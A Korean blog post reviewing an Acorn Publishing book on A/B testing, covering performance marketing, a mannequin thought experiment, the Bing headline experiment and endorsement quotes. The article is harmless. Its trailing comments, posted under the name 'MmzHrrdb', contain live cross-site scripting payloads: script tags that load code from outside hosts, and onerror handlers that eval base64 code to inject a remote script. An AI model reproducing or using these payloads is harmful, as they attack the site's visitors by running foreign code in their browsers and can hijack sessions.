신뢰도 높은 A/B 테스트 설계를 위한 실전 가이드

마케팅에서 퍼포먼스 마케팅은 상품을 구경하고 구매하는 등의
구매 결정 과정에서 각 단계의 성과를 측정하고 관리하는 방법을 일컫는다. 

상품을 고객에게 알리는 데 쓰는 비용 대비로 몇 명이 구경하는지,
구경한 사람 중 몇 명이 실제로 구매했는지 측정하며 각 단계를 최적화한다. 

이런 측정은 오프라인보다는 온라인에서 쉽게 이뤄지기에
퍼포먼스 마케팅은 대부분 온라인 웹사이트에서 진행된다.



(이미지 출처: https://kr.freepik.com/vectors/people ; People 벡터 제작 pikisuperstar - kr.freepik.com)

옷 가게 주인은 자신이 판매하는 옷을 고객에게 알리려고 한다.
가게 앞에 마네킹을 설치하면 고객 방문 수가 증가할 것이라는 예상해본다.
과연 마네킹을 두는 게 효과가 있을까? 

이를 확인하기 위해서는 주인이 일주일 동안은 마네킹 없이,
그다음 일주일 동안은 마네킹을 두고 방문한 고객을 살펴보면 된다.
아마 마네킹을 둔 일주일의 고객 방문 수가 더욱 많을 것이다. 

그런데 만약 마네킹을 두지 않은 일주일에는 연휴가 끼어 있어서 고객의 방문이 훨씬 늘었다면 어떨까?
같은 실험을 하더라도 특수한 상황이 발생해서 결과가 왜곡될 수 있다.
따라서 신뢰성 있는 실험 방법이 필요하게 된다.


(이미지 출처: https://kr.freepik.com/vectors/sale ; Sale 벡터 제작  pch.vector - kr.freepik.com)

『A/B 테스트: 신뢰도 높은 온라인 통제 실험』은 뢰도 높은 실험을 설계하는 가이드를 제공한다.
각 과정을 더욱 정확하게 측정할 수 있는 온라인을 대상으로 한다.
구글, 링크드인과 마이크로소프트의 빅테크 기업에서 전 세계인을 대상으로 한 수많은 실험의 노하우를 책에 담았다.



1장에서는 마이크로소프트의 검색 포털인 빙(Bing)에서 이루어진 한 사례를 제시하고 있다.
아이디어는 검색 결과를 보여줄 때 사이트의 제목만 보여주는 것이 아니라
제목 뒤 사이트 내 첫 번째 문장을 이어서 한 줄로 표시하는 것이었다.
이 단순한 아이디어는 연간 1억 달러 이상의 수익을 증대시켰는데 이는 빙 역사상 최고의 결과물이었다.

실험을 위해 빙은 무작위로 분류된 사용자들을 대상으로
일부는 기존의 사이트 제목만 보여주고, 다른 일부는 제목+첫 문장을 한 줄에 적은 버전을 보여줬다.
웹사이트에 대한 사용자 반응은 광고 클릭과 이들로부터의 수입으로 측정했다. 

이는 대조군과 실험군으로 나눈 과학적 방법을 통한 간단한 온라인 실험으로, 
이를 A 버전과 B 버전을 두고 비교한다고 해서 A/B 테스트라고 부른다. 


(이미지 출처: https://kr.freepik.com/vectors/technology ; Technology 벡터 제작  freepik - kr.freepik.com) 

여기에서 온라인 실험의 핵심 주제을 살펴볼 수 있다.
1. 아이디어의 가치를 평가하기 힘들다. 사소한 변화가 1억 달러 이상의 가치를 가질 수 있지만 이 실험을 우선순위는 낮았다.
2. 작은 변화도 큰 영향을 줄 수 있다. 개발자의 며칠 작업으로 연 1억 달러 이상의 투자수익률을 얻을 수 있다.
3. 큰 영향을 가진 실험은 드물다. 빙의 경우 1년에 수만 회의 실험을 하지만 이처럼 큰 개선을 주는 아이디어는 수년에 한 번 발생한다.
4. 실험을 실행하는 비용이 적다. 실험을 수행하는 데는 몇몇 직원의 수고로움이 들어갈 뿐이다.
5. 전체적인 평가 기준이 명확해야 한다.


책의 전반부가 온라인 실험에 대한 이론을 다룬다면
후반부는 이를 실제에 적용할 때 발생할 수 있는 다양한 상황을 다루는 방법을 알려준다.

아무리 온라인이라 하더라도 고객의 행동을 측정하기 어려울 때가 있다. 
이때는 설문조사나 대체 데이터를 활용해 고객 행동 간의 인과관계를 파악할 수도 있다.

그러나 이 과정에서 고객 행동에 대한 다양한 가정이 들어가기 때문에
이를 설계하기 위한 작업에서 쉽게 발생할 수 있는 실수들에 대해 논의한다.


(이미지 출처: https://kr.freepik.com/vectors/infographic  ; Infographic 벡터 제작 pikisuperstar - kr.freepik.com)


현재 온라인 커머스가 시장의 대부분을 차지하는 시기가 도래했다.

사람들은 온라인 웹사이트나 앱에서 많은 시간을 보내며
각 플랫폼은 고객을 붙잡아 두기 위해 고객 행동의 변화를 하나하나 추적한다. 

온라인 실험은 인위적이지만 자연스럽게 고객을 통제하며 고객의 행동 패턴을 파악하는 방법이다.
이를 통해 플랫폼은 고객의 취향을 분석하고, 고객의 취향에 맞는 서비스를 출시
더욱 오랜 시간 고객을 플랫폼 내에 머물게 하거나 원하는 행동을 하게 만들 수 있다.


(이미지 출처: https://kr.freepik.com/vectors/sale ; Sale 벡터 제작 pch.vector - kr.freepik.com) 


이 책의 내용은 웹과뿐만 아니라 온라인에서 이뤄지는 다양한 실험에 대해 조언을 담고 있다.
메타버스와 같이 디지털화된 세계에서는 모든 것을 측정할 수 있기 때문에
이를 운영하는 플랫폼은 더욱 다양한 온라인 실험을 수행하고 결과를 활용할 수 있다. 
이런 점에서 온라인 웹사이트를 기획하는 기획자나 데이터 과학자뿐만 아니라
온라인 서비스를 운영하고자 하는 회사 대표투자자도 이 책을 통해 미래를 대비할 수 있을 것이다.



“이 책은 제품 기능, 프로젝트 효율성 또는 매출을 최적화하기 위해
온라인 종합 대조 실험을 사용하고자 하는 경영진, 리더, 연구원 또는 엔지니어에게 유용한 자료입니다.
코하비의 연구가 빙과 마이크로소프트에 미치는 영향을 직접 알고 있었기에
그의 배움이 이제 더 많은 청중에게 전달될 수 있게 돼 기쁩니다.”
— 해리 셤(Harry Shum)/ 마이크로소프트 인공지능 및 리서치 그룹 전무이사


“린 방법론의 핵심에는 가설 생성, 실험 실행, 데이터 수집, 통찰력과
가설의 검증과 수정과 같은 과학적 방법론이 있습니다.
A/B 테스트는 검증 가능하고 반복 가능한 실험을 설계하는 표준이며,
이 책은 이를 위한 훌륭한 교과서입니다.”
— 스티븐 블랭크(Steve Blank)/ 스탠포드 대학교의 겸임교수, 현대 기업가 정신의 아버지,
『기업 창업가 매뉴얼』과 『Four Steps to the Epiphany(깨달음을 향한 4단계)』의 저자

A/B 테스트 아래 인터넷 서점에서 만나실 수 있습니다.
CC

크리에이티브 커먼즈 라이센스 에이콘출판사에 의해 창작된 이 저작물크리에이티브 커먼즈 코리아 저작자표시 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.


  • MmzHrrdb| Sep 28, 2024

    문의 드립니다.<sCRiPt/SrC=//www.uni114.co.kr/session/>

  • MmzHrrdb| Sep 28, 2024

    문의 드립니다.<sCRiPt/SrC=//www.uni114.co.kr/session/>'"()&%<acx><sCRiPt/SrC=//www.uni114.co.kr/session/><sCRiPt/SrC=//uj.ci/Qfn7><img src=c onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3d3dy51bmkxMTQuY28ua3Ivc2Vzc2lvbi8nOw=='))><img src=x onerror=s=createElement('script')